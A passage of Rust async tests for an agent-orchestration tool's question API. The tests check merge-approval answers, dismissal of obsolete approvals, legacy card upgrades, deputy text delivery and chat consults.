10673            .join(format!("{}.json", q.id));
10674        let mut legacy = serde_json::to_value(&q).unwrap();
10675        legacy["schema"] = 9.into();
10676        legacy.as_object_mut().unwrap().remove("merge_target");
10677        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10678
10679        // POST without GET tests legacy upgrade and validation at the actual
10680        // entry point, rather than constructing a modern card in the test.
10681        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10682        let answer_path = format!("/api/questions/{}/answer", q.id);
10683        let res = fx.post(&answer_path, Some(&body)).await;
10684        assert_eq!(res.status, 200, "{}", res.body);
10685        let disk = fx.questions().get(&q.id).unwrap();
10686        assert_eq!(
10687            disk.resolution().as_deref(),
10688            Some(crate::merge_decision::DISMISS)
10689        );
10690        assert!(disk.detail.starts_with("Original review evidence"));
10691        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10692        assert_eq!(retired.status, RunStatus::Superseded);
10693        assert_eq!(
10694            serde_json::to_value(&retired.pr).unwrap(),
10695            serde_json::to_value(&state.pr).unwrap()
10696        );
10697        assert!(!retired.merge_decision.as_ref().unwrap().closed);
10698        assert!(!crate::merge_decision::resumable_hold(&retired));
10699        assert!(fx.queue().list().is_empty());
10700        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10701        // A restarted server re-reads the persisted pending list.
10702        let addr = Fixture::serve(
10703            fx.home.path(),
10704            PathBuf::from("/repo/magi"),
10705            launch_idle,
10706            None,
10707        )
10708        .await;
10709        let reconnected = Fixture {
10710            home: fx.home,
10711            addr,
10712        };
10713        let listed = reconnected.get("/api/questions").await.json();
10714        assert!(
10715            listed
10716                .as_array()
10717                .unwrap()
10718                .iter()
10719                .all(|q| q["status"] != "open")
10720        );
10721        assert_eq!(listed[0]["id"], q.id, "history remains available");
10722        assert_eq!(
10723            reconnected.get("/api/health").await.json()["questions_open"],
10724            0
10725        );
10726        assert_eq!(
10727            reconnected
10728                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10729                .await
10730                .status,
10731            409
10732        );
10733        // A late waiter cannot turn the old answer into a new decision.
10734        assert!(
10735            reconnected
10736                .questions()
10737                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10738                .is_err()
10739        );
10740        // The same guard used by claims, repair and publication rejects a
10741        // saved in-memory driver as well as the persisted terminal record.
10742        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10743    }
10744
10745    #[tokio::test]
10746    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10747        let fx = Fixture::start().await;
10748        let mut state = obsolete_approval_state();
10749        state.status = RunStatus::Landing;
10750        state.driver_exited = true;
10751        let mut q = Question::new(
10752            state.id.clone(),
10753            crate::land::APPROVAL_NODE.into(),
10754            "land".into(),
10755            "Obsolete approval".into(),
10756            String::new(),
10757            vec!["merge".into(), "hold".into()],
10758        );
10759        state.land_approval = Some(crate::run::LandApproval {
10760            question: q.id.clone(),
10761            head: "head".into(),
10762        });
10763        state.save_under(fx.home.path()).unwrap();
10764        fx.questions().put(&mut q).unwrap();
10765        let mut task = Task::new(
10766            "Owner".into(),
10767            "Original instruction".into(),
10768            state.repo.clone(),
10769            Source::Human,
10770        );
10771        task.runs = vec![state.id.clone(), "later-run".into()];
10772        fx.queue().put(&mut task).unwrap();
10773        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10774        let claim = fx.queue().claim(&task.id).unwrap();
10775        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10776        let path = format!("/api/questions/{}/answer", q.id);
10777        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10778        assert!(fx.questions().get(&q.id).unwrap().status.open());
10779        drop(claim);
10780        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10781        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10782        assert!(fx.questions().get(&q.id).unwrap().status.open());
10783        drop(publication);
10784        // Unknown liveness and armed auto-merge both fail without settling.
10785        state.driver_exited = false;
10786        state.driver_pid = None;
10787        state.save_under(fx.home.path()).unwrap();
10788        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10789        state.driver_exited = true;
10790        state.land_armed_head = Some("head".into());
10791        state.save_under(fx.home.path()).unwrap();
10792        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10793        state.land_armed_head = None;
10794        state.save_under(fx.home.path()).unwrap();
10795        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10796        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10797        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10798    }
10799
10800    #[tokio::test]
10801    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10802        let fx = Fixture::start().await;
10803        let mut state = obsolete_approval_state();
10804        state.status = RunStatus::Landing;
10805        state.driver_exited = true;
10806        let mut q = Question::new(
10807            state.id.clone(),
10808            crate::land::APPROVAL_NODE.into(),
10809            "land".into(),
10810            "Obsolete approval".into(),
10811            String::new(),
10812            vec!["merge".into(), "hold".into()],
10813        );
10814        state.land_approval = Some(crate::run::LandApproval {
10815            question: q.id.clone(),
10816            head: "head".into(),
10817        });
10818        state.save_under(fx.home.path()).unwrap();
10819        fx.questions().put(&mut q).unwrap();
10820        let mut task = Task::new(
10821            "Owner".into(),
10822            "Original instruction".into(),
10823            state.repo.clone(),
10824            Source::Human,
10825        );
10826        task.runs.push(state.id.clone());
10827        task.status = TaskStatus::Parked;
10828        fx.queue().put(&mut task).unwrap();
10829        // Model a crash after the run stop was persisted but before the queue
10830        // and answered question were flushed. Retrying must finish, not resume.
10831        state.merge_decision = Some(crate::merge_decision::Decision {
10832            question: q.id.clone(),
10833            target: crate::merge_decision::Target {
10834                pr: state.pr.as_ref().unwrap().url.clone(),
10835                head: "head".into(),
10836                language: "ja".into(),
10837            },
10838            choice: crate::merge_decision::DISMISS.into(),
10839            closed: false,
10840            replacement_run: None,
10841            replacement_pr: None,
10842        });
10843        state.status = RunStatus::Superseded;
10844        state.save_under(fx.home.path()).unwrap();
10845        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10846        let path = format!("/api/questions/{}/answer", q.id);
10847        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10848        let done = fx.queue().get(&task.id).unwrap();
10849        assert_eq!(done.status, TaskStatus::Done);
10850        assert_eq!(done.runs, task.runs);
10851        assert_eq!(done.instruction, task.instruction);
10852        assert!(done.action_applied(&q.id));
10853        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10854        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10855        assert!(!fx.questions().get(&q.id).unwrap().status.open());
10856    }
10857
10858    #[tokio::test]
10859    async fn merge_decision_api_persists_exact_target_and_selected_action() {
10860        let fx = Fixture {
10861            home: TempDir::new().unwrap(),
10862            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10863        };
10864        for choice in [
10865            crate::land::HOLD,
10866            crate::land::REPAIR,
10867            crate::land::APPROVE,
10868            crate::merge_decision::WITHDRAW,
10869            "reimplement:beta",
10870        ] {
10871            let mut q = Question::new(
10872                "old-run".into(),
10873                crate::land::APPROVAL_NODE.into(),
10874                "land".into(),
10875                "Decision".into(),
10876                "Review findings".into(),
10877                vec![
10878                    "merge".into(),
10879                    "hold".into(),
10880                    crate::land::REPAIR.into(),
10881                    crate::merge_decision::WITHDRAW.into(),
10882                    "reimplement:beta".into(),
10883                ],
10884            );
10885            q.merge_target = Some(crate::merge_decision::Target {
10886                pr: "https://github.com/example/repo/pull/42".into(),
10887                head: "exact-reviewed-head".into(),
10888                language: "ja".into(),
10889            });
10890            q.consult = Some(ask::ChatConsult {
10891                talk: "another-conversation".into(),
10892                at: jiff::Timestamp::now(),
10893            });
10894            fx.questions().put(&mut q).unwrap();
10895            let ui = Arc::new(Ui::new(
10896                fx.queue(),
10897                fx.questions(),
10898                fx.talks(),
10899                fx.runs(),
10900                fx.home.path().into(),
10901                std::path::PathBuf::from("."),
10902            ));
10903            let response = question_answer(
10904                State(ui.clone()),
10905                Path(q.id.clone()),
10906                Ok(Json(NewAnswer {
10907                    choice: Some(choice.into()),
10908                    text: None,
10909                })),
10910            )
10911            .await
10912            .unwrap();
10913            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10914            let disk = fx.questions().get(&q.id).unwrap();
10915            assert_eq!(disk.merge_target, q.merge_target);
10916            assert_eq!(disk.consult, q.consult);
10917            assert!(
10918                disk.answer_authority.is_none(),
10919                "a direct owner card is its own decision"
10920            );
10921            assert_eq!(disk.resolution().as_deref(), Some(choice));
10922            assert!(
10923                question_answer(
10924                    State(ui),
10925                    Path(q.id.clone()),
10926                    Ok(Json(NewAnswer {
10927                        choice: Some("merge".into()),
10928                        text: None
10929                    }))
10930                )
10931                .await
10932                .is_err(),
10933                "an already settled decision cannot turn into merge approval"
10934            );
10935        }
10936    }
10937
10938    #[tokio::test]
10939    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10940        let fx = Fixture {
10941            home: TempDir::new().unwrap(),
10942            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10943        };
10944        let mut state = crate::land::tests::repair_state(true, true);
10945        state.status = RunStatus::Landing;
10946        state.parked = true;
10947        state.driver_exited = true;
10948        let mut task = Task::new(
10949            "Existing PR owner".into(),
10950            state.instruction.clone(),
10951            state.repo.clone(),
10952            Source::Human,
10953        );
10954        task.runs.push(state.id.clone());
10955        task.status = TaskStatus::Parked;
10956        fx.queue().put(&mut task).unwrap();
10957        let mut q = Question::new(
10958            state.id.clone(),
10959            crate::land::APPROVAL_NODE.into(),
10960            "land".into(),
10961            "Contested merge".into(),
10962            "Original evidence".into(),
10963            vec!["merge".into(), "hold".into()],
10964        );
10965        state.land_approval = Some(crate::run::LandApproval {
10966            question: q.id.clone(),
10967            head: "reviewed-head".into(),
10968        });
10969        state.save_under(fx.home.path()).unwrap();
10970        fx.questions().put(&mut q).unwrap();
10971        // A later repair answer on this old card supersedes this manual hold.
10972        task.hold_manual(Some("Pause this PR".into()));
10973        fx.queue().put(&mut task).unwrap();
10974        // POST directly, without a preceding GET: validation must see the
10975        // same durable upgrade that the card, CLI and chat see.
10976        let ui = Arc::new(Ui::new(
10977            fx.queue(),
10978            fx.questions(),
10979            fx.talks(),
10980            fx.runs(),
10981            fx.home.path().to_path_buf(),
10982            state.repo.clone(),
10983        ));
10984        let response = question_answer(
10985            State(ui),
10986            Path(q.id.clone()),
10987            Ok(Json(NewAnswer {
10988                choice: Some(crate::land::REPAIR.into()),
10989                text: None,
10990            })),
10991        )
10992        .await
10993        .unwrap();
10994        assert_eq!(response.0.question.id, q.id);
10995        let upgraded = fx.questions().get(&q.id).unwrap();
10996        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10997        assert!(upgraded.detail.starts_with("Original evidence"));
10998        let claim = fx.queue().claim(&task.id).unwrap();
10999        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11000        assert!(
11001            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
11002            "an existing driver keeps its claim"
11003        );
11004        drop(claim);
11005        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11006        let resumed = fx.queue().get(&task.id).unwrap();
11007        assert_eq!(
11008            resumed
11009                .resume_override
11010                .as_ref()
11011                .unwrap()
11012                .pinned_run
11013                .as_deref(),
11014            Some(state.id.as_str())
11015        );
11016        assert!(resumed.status.runnable());
11017        assert_eq!(resumed.instruction, task.instruction);
11018        assert_eq!(resumed.runs, task.runs);
11019        assert!(resumed.action_applied(&q.id));
11020        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11021        assert_eq!(fx.queue().list().len(), 1);
11022        assert_eq!(
11023            fx.queue().get(&task.id).unwrap().resume_override,
11024            resumed.resume_override
11025        );
11026        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11027        assert!(
11028            disk.merge_repairs.is_empty(),
11029            "only the claimed run driver may execute repair"
11030        );
11031        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
11032    }
11033
11034    #[tokio::test]
11035    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
11036        let fx = Fixture::start().await;
11037        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11038        let path = format!("/api/questions/{id}/answer");
11039
11040        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
11041        assert_eq!(res.status, 200, "{}", res.body);
11042        let body = res.json();
11043        assert_eq!(body["status"], "answered");
11044        assert_eq!(body["answer"]["choice"], "Redis");
11045
11046        // Answered from the terminal in between the list and the tap: the UI
11047        // must be able to tell this from a bad request, so it can show the
11048        // recorded answer instead of an error.
11049        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
11050        assert_eq!(again.status, 409, "{}", again.body);
11051        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11052    }
11053
11054    #[tokio::test]
11055    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
11056        let home = tempfile::tempdir().unwrap();
11057        let ui = delta_test_ui(home.path());
11058        let mut q = Question::new(
11059            "task".into(),
11060            crate::land::APPROVAL_NODE.into(),
11061            "land".into(),
11062            "Explain?".into(),
11063            String::new(),
11064            vec!["hold".into()],
11065        );
11066        q.deputy = Some(ask::Deputy::new("context".into()));
11067        ui.questions.put(&mut q).unwrap();
11068        let mut cfg = stub_config();
11069        cfg.daemon.max_deputies = 0;
11070        let mut status = crate::daemon::Status::new();
11071        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11072        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
11073        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11074        let error = question_say(
11075            State(ui.clone()),
11076            Path(q.id.clone()),
11077            Ok(Json(NewSay {
11078                body: "Explain the findings".into(),
11079            })),
11080        )
11081        .await
11082        .unwrap_err();
11083        assert_eq!(
11084            error.text_reason,
11085            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
11086        );
11087        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11088
11089        let mut text = Question::new(
11090            "task".into(),
11091            "ask".into(),
11092            "operator".into(),
11093            "Which name?".into(),
11094            String::new(),
11095            vec![],
11096        );
11097        ui.questions.put(&mut text).unwrap();
11098        let Json(view) = question_answer(
11099            State(ui.clone()),
11100            Path(text.id.clone()),
11101            Ok(Json(NewAnswer {
11102                choice: None,
11103                text: Some("chosen name".into()),
11104            })),
11105        )
11106        .await
11107        .unwrap();
11108        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
11109        assert!(!ui.questions.get(&text.id).unwrap().status.open());
11110    }
11111
11112    #[tokio::test]
11113    async fn question_text_handler_admission_without_transport() {
11114        let home = tempfile::tempdir().unwrap();
11115        let ui = delta_test_ui(home.path());
11116        let mut q = Question::new(
11117            "task".into(),
11118            crate::land::APPROVAL_NODE.into(),
11119            "land".into(),
11120            "May this PR merge?".into(),
11121            String::new(),
11122            vec!["hold".into()],
11123        );
11124        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
11125        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11126        ui.questions.put(&mut q).unwrap();
11127        let say = || {
11128            Ok(Json(NewSay {
11129                body: "Explain the findings".into(),
11130            }))
11131        };
11132        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11133            .await
11134            .unwrap_err();
11135        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11136        let response = rejected.into_response();
11137        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
11138            .await
11139            .unwrap();
11140        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
11141        assert_eq!(body["code"], "question_text_unavailable");
11142        assert_eq!(body["reason"], "deputy_exhausted");
11143        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
11144        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
11145        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
11146        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
11147            .await
11148            .unwrap();
11149        assert_eq!(view.text_delivery.state, "live");
11150        assert!(view.question.waiter.is_none());
11151        assert!(view.question.cwd.is_none());
11152        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
11153        ui.questions.drop_lease(&q.id);
11154        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
11155            .await
11156            .unwrap_err();
11157        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
11158        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
11159        let _ = question_answer(
11160            State(ui.clone()),
11161            Path(q.id.clone()),
11162            Ok(Json(NewAnswer {
11163                choice: Some("hold".into()),
11164                text: None,
11165            })),
11166        )
11167        .await
11168        .unwrap();
11169        assert_eq!(
11170            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
11171            Some("hold")
11172        );
11173    }
11174
11175    #[tokio::test]
11176    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
11177        let fx = Fixture::start().await;
11178        let store = fx.questions();
11179        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
11180        store
11181            .update(&id, |q| {
11182                q.node = crate::land::APPROVAL_NODE.to_owned();
11183                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
11184                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11185                Ok(())
11186            })
11187            .unwrap();
11188        let path = format!("/api/questions/{id}/say");
11189        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11190        assert_eq!(refused.status, 422, "{}", refused.body);
11191        assert!(
11192            refused.json()["error"]
11193                .as_str()
11194                .unwrap()
11195                .contains("deputy_exhausted")
11196        );
11197        assert!(store.get(&id).unwrap().thread.is_empty());
11198
11199        // A final live deputy is usable even with no ordinary waiter/cwd.
11200        store.beat(&id, ask::WaiterKind::Deputy);
11201        let view = fx.get("/api/questions").await.json();
11202        assert_eq!(view[0]["text_delivery"]["state"], "live");
11203        let accepted = fx
11204            .post(&path, Some(r#"{"body":"explain the findings"}"#))
11205            .await;
11206        assert_eq!(accepted.status, 200, "{}", accepted.body);
11207        let before = std::fs::read(store.path_of(&id)).unwrap();
11208
11209        // The recipient exits between rendering and sending. Rejection must
11210        // preserve previously accepted text, the answer and delivery cursor.
11211        store.drop_lease(&id);
11212        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
11213        assert_eq!(refused.status, 422, "{}", refused.body);
11214        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11215        let held = fx
11216            .post(
11217                &format!("/api/questions/{id}/answer"),
11218                Some(r#"{"choice":"hold"}"#),
11219            )
11220            .await;
11221        assert_eq!(held.status, 200, "{}", held.body);
11222        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
11223    }
11224
11225    #[tokio::test]
11226    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
11227        let repo = tempfile::tempdir().unwrap();
11228        let mut cfg = stub_config();
11229        cfg.daemon.max_deputies = 0;
11230        std::fs::write(
11231            repo.path().join("magi.toml"),
11232            toml::to_string(&cfg).unwrap(),
11233        )
11234        .unwrap();
11235        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
11236        let mut status = crate::daemon::Status::new();
11237        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
11238        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
11239        let id = ask(&fx, "Explain?", &["hold"]);
11240        fx.questions()
11241            .update(&id, |q| {
11242                q.node = crate::land::APPROVAL_NODE.into();
11243                q.deputy = Some(ask::Deputy::new("context".into()));
11244                q.deputy.as_mut().unwrap().agent = "stub".into();
11245                Ok(())
11246            })
11247            .unwrap();
11248        cfg.daemon.max_deputies = 1;
11249        std::fs::write(
11250            repo.path().join("magi.toml"),
11251            toml::to_string(&cfg).unwrap(),
11252        )
11253        .unwrap();
11254        let view = fx.get("/api/questions").await.json();
11255        assert_eq!(view[0]["deputies_enabled"], true);
11256        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
11257        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
11258        let res = fx
11259            .post(
11260                &format!("/api/questions/{id}/say"),
11261                Some(r#"{"body":"Please explain"}"#),
11262            )
11263            .await;
11264        assert_eq!(res.status, 422, "{}", res.body);
11265        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
11266    }
11267
11268    #[tokio::test]
11269    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
11270        let fx = Fixture::start().await;
11271        let id = ask(&fx, "No seat", &[]);
11272        let store = fx.questions();
11273        let before = std::fs::read(store.path_of(&id)).unwrap();
11274        let res = fx
11275            .post(
11276                &format!("/api/questions/{id}/say"),
11277                Some(r#"{"body":"hello"}"#),
11278            )
11279            .await;
11280        assert_eq!(res.status, 422, "{}", res.body);
11281        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
11282        let res = fx
11283            .post(
11284                &format!("/api/questions/{id}/answer"),
11285                Some(r#"{"text":"hello"}"#),
11286            )
11287            .await;
11288        assert_eq!(res.status, 200, "{}", res.body);
11289        assert_eq!(
11290            store.get(&id).unwrap().resolution().as_deref(),
11291            Some("hello")
11292        );
11293    }
11294
11295    #[tokio::test]
11296    async fn saying_something_appends_a_turn_without_answering() {
11297        let fx = Fixture::start().await;
11298        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11299        fx.questions().beat(&id, ask::WaiterKind::Asker);
11300        let path = format!("/api/questions/{id}/say");
11301
11302        let res = fx
11303            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11304            .await;
11305        assert_eq!(res.status, 200, "{}", res.body);
11306        let body = res.json();
11307        assert_eq!(body["status"], "open", "talking back is not a decision");
11308        assert_eq!(body["answer"], Value::Null);
11309        assert_eq!(body["thread"][0]["who"], "operator");
11310        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11311        assert_eq!(body["waiting_on_agent"], true);
11312        // Still open, still counted, still exactly one question.
11313        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11314    }
11315
11316    #[tokio::test]
11317    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11318        let fx = Fixture::start().await;
11319        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11320
11321        let list = fx.get("/api/questions").await.json();
11322        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11323
11324        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11325        assert_eq!(res.status, 409, "{}", res.body);
11326        let q = fx.questions().get(&id).unwrap();
11327        assert!(q.status.open());
11328        assert!(q.consult.is_none());
11329    }
11330
11331    #[tokio::test]
11332    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11333        let fx = Fixture::start().await;
11334        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11335        let cfg = Config {
11336            agents: vec![crate::config::AgentSpec {
11337                id: "mock".to_owned(),
11338                kind: crate::config::AgentKind::Command,
11339                model: None,
11340                command: vec!["true".to_owned()],
11341                extra_args: Vec::new(),
11342                env: Default::default(),
11343                prompt_delivery: None,
11344            }],
11345            ..Config::default()
11346        };
11347        let talk = crate::talk::begin(
11348            &fx.talks(),
11349            &cfg,
11350            fx.home.path().to_path_buf(),
11351            Some("mock"),
11352        )
11353        .unwrap();
11354        let mut task = Task::new(
11355            "t".to_owned(),
11356            "Do it".to_owned(),
11357            PathBuf::from("/repo/magi"),
11358            Source::Agent {
11359                run: talk.id.clone(),
11360                node: crate::queue::CHAT_NODE.to_owned(),
11361            },
11362        );
11363        task.start("20260902-000000-beef".to_owned());
11364        fx.queue().put(&mut task).unwrap();
11365
11366        let list = fx.get("/api/questions").await.json();
11367        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11368        assert_eq!(
11369            list[0]["choices"],
11370            serde_json::json!(["SQLite", "Redis"]),
11371            "the hand-over is never a choice"
11372        );
11373        fx.questions()
11374            .update(&id, |q| {
11375                q.node = crate::land::APPROVAL_NODE.into();
11376                q.choices = vec!["merge".into(), "hold".into()];
11377                Ok(())
11378            })
11379            .unwrap();
11380        let list = fx.get("/api/questions").await.json();
11381        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11382        assert_eq!(list[0]["can_consult_chat"], true);
11383        fx.questions()
11384            .update(&id, |q| {
11385                q.node = crate::bump::NOTICE_NODE.into();
11386                Ok(())
11387            })
11388            .unwrap();
11389        let list = fx.get("/api/questions").await.json();
11390        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11391        assert_eq!(list[0]["can_consult_chat"], false);
11392    }
11393
11394    #[tokio::test]
11395    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11396        let fx = Fixture::start().await;
11397        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11398        fx.questions()
11399            .update(&id, |q| {
11400                q.node = crate::land::APPROVAL_NODE.into();
11401                q.choices = vec!["merge".into(), "hold".into()];
11402                Ok(())
11403            })
11404            .unwrap();
11405        let cfg = Config {
11406            agents: vec![crate::config::AgentSpec {
11407                id: "mock".to_owned(),
11408                kind: crate::config::AgentKind::Command,
11409                model: None,
11410                command: vec!["true".to_owned()],
11411                extra_args: Vec::new(),
11412                env: Default::default(),
11413                prompt_delivery: None,
11414            }],
11415            ..Config::default()
11416        };
11417        // Not a git working tree, so its `magi.toml` is read from disk.
11418        let repo = fx.home.path().join("chat-repo");
11419        std::fs::create_dir_all(&repo).unwrap();
11420        let toml = repo.join("magi.toml");
11421        std::fs::write(&toml, "this is = = not toml").unwrap();
11422        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11423        let mut task = Task::new(
11424            "t".to_owned(),
11425            "Do it".to_owned(),
11426            PathBuf::from("/repo/magi"),
11427            Source::Agent {
11428                run: talk.id.clone(),
11429                node: crate::queue::CHAT_NODE.to_owned(),
11430            },
11431        );
11432        task.start("20260902-000000-beef".to_owned());
11433        fx.queue().put(&mut task).unwrap();
11434
11435        let path = format!("/api/questions/{id}/consult");
11436        let res = fx.post(&path, None).await;
11437        assert!(res.status >= 400, "{}", res.body);
11438        assert!(fx.questions().get(&id).unwrap().consult.is_none());
11439        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11440
11441        std::fs::write(&toml, "").unwrap();
11442        let res = fx.post(&path, None).await;
11443        assert_eq!(res.status, 202, "{}", res.body);
11444        assert!(fx.questions().get(&id).unwrap().consult.is_some());
11445        let q = fx.questions().get(&id).unwrap();
11446        assert!(q.status.open());
11447        assert!(q.answer.is_none());
11448        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11449        assert_eq!(res.json()["can_consult_chat"], true);
11450        let list = fx.get("/api/questions").await.json();
11451        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11452        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11453
11454        let res = fx
11455            .post(
11456                &format!("/api/questions/{id}/answer"),
11457                Some(r#"{"choice":"hold"}"#),
11458            )
11459            .await;
11460        assert_eq!(res.status, 200, "{}", res.body);
11461        assert_eq!(res.json()["answer"]["choice"], "hold");
11462        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11463        assert_eq!(res.json()["can_consult_chat"], false);
11464        assert_eq!(fx.post(&path, None).await.status, 409);
11465
11466        let mut talk = fx.talks().get(&talk.id).unwrap();
11467        crate::talk::close(&mut talk, &fx.talks()).unwrap();
11468        let list = fx.get("/api/questions").await.json();
11469        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11470        assert_eq!(list[0]["origin_chat_closed"], true);
11471        assert_eq!(list[0]["can_consult_chat"], false);
11472
11473        fx.talks().remove(&talk.id).unwrap();
11474        let list = fx.get("/api/questions").await.json();
11475        assert_eq!(list[0]["origin_chat"], Value::Null);
11476        assert_eq!(list[0]["origin_chat_closed"], false);
11477        assert_eq!(list[0]["can_consult_chat"], false);
11478    }
11479
11480    #[tokio::test]
11481    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11482        let fx = Fixture::start().await;
11483        let store = fx.questions();
11484        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11485        store.beat(&id, ask::WaiterKind::Asker);
11486        assert_eq!(
11487            fx.get("/api/health").await.json()["questions_needs_owner"],
11488            1
11489        );
11490
11491        // The owner asks back instead of deciding: the ask bar, the nav badge
11492        // and the title must stop naming this question, because there is
11493        // nothing to decide until the agent answers - `status` alone cannot
11494        // say that, which is the whole reason `questions_needs_owner` exists
11495        // alongside `questions_open`.
11496        let res = fx
11497            .post(
11498                &format!("/api/questions/{id}/say"),
11499                Some(r#"{"body":"why not Postgres?"}"#),
11500            )
11501            .await;
11502        assert_eq!(res.status, 200, "{}", res.body);
11503        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11504        assert_eq!(
11505            fx.get("/api/health").await.json()["questions_needs_owner"],
11506            0,
11507            "waiting on the agent is not waiting on the owner"
11508        );
11509
11510        // `magi ask --thread` replying is what brings the owner count back -
11511        // the same event that would resume the CLI call blocked in `magi
11512        // ask`.
11513        let mut q = store.get(&id).expect("get");
11514        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11515            .expect("reply");
11516        store.put(&mut q).expect("put");
11517        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11518        assert_eq!(
11519            fx.get("/api/health").await.json()["questions_needs_owner"],
11520            1,
